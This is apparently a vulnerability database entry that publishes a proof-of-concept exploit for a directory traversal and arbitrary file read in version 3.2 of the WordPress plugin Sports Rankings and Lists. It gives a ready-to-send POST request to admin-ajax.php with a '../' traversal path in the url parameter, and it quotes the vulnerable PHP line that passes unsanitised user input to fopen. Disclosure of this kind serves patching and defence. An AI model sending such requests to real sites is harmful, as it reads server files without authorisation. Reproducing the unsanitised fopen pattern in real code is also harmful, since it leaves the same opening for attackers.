Wordpress plugin Sports Rankings and Lists directory

Published
Credit
Risk
2017.03.20
malwrforensics
Medium
CWE
CVE
Local
Remote
N/A
N/A
No
Yes

# Exploit Title: Wordpress plugin Sports Rankings and Lists directory
traversal and arbitrary csv file read
# Date: 2017-03-17
# Exploit Author: malwrforensics
# Vendor Homepage: https://fantasyknuckleheads.com/
# Software Link: https://downloads.wordpress.org/plugin/sports-rankings-lists.zip
# Version: 3.2
# Tested on: Ubuntu 16.04

HTTP Req:
POST http://<server>/wp-admin/admin-ajax.php HTTP/1.1
<snip>
Referer: http://<server>/wp-admin/post-new.php?post_type=player_list

action=import_players_from_csv&url=../../../../../../../usr/share/distro-info/debian.csv


Details
-------
File: import_players.php
Reason: The first parameter of the fopen function isn't properly sanitized.

<snip>
else if (($handle = fopen($_POST['url'], "r")) !== FALSE) {
<snip>


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com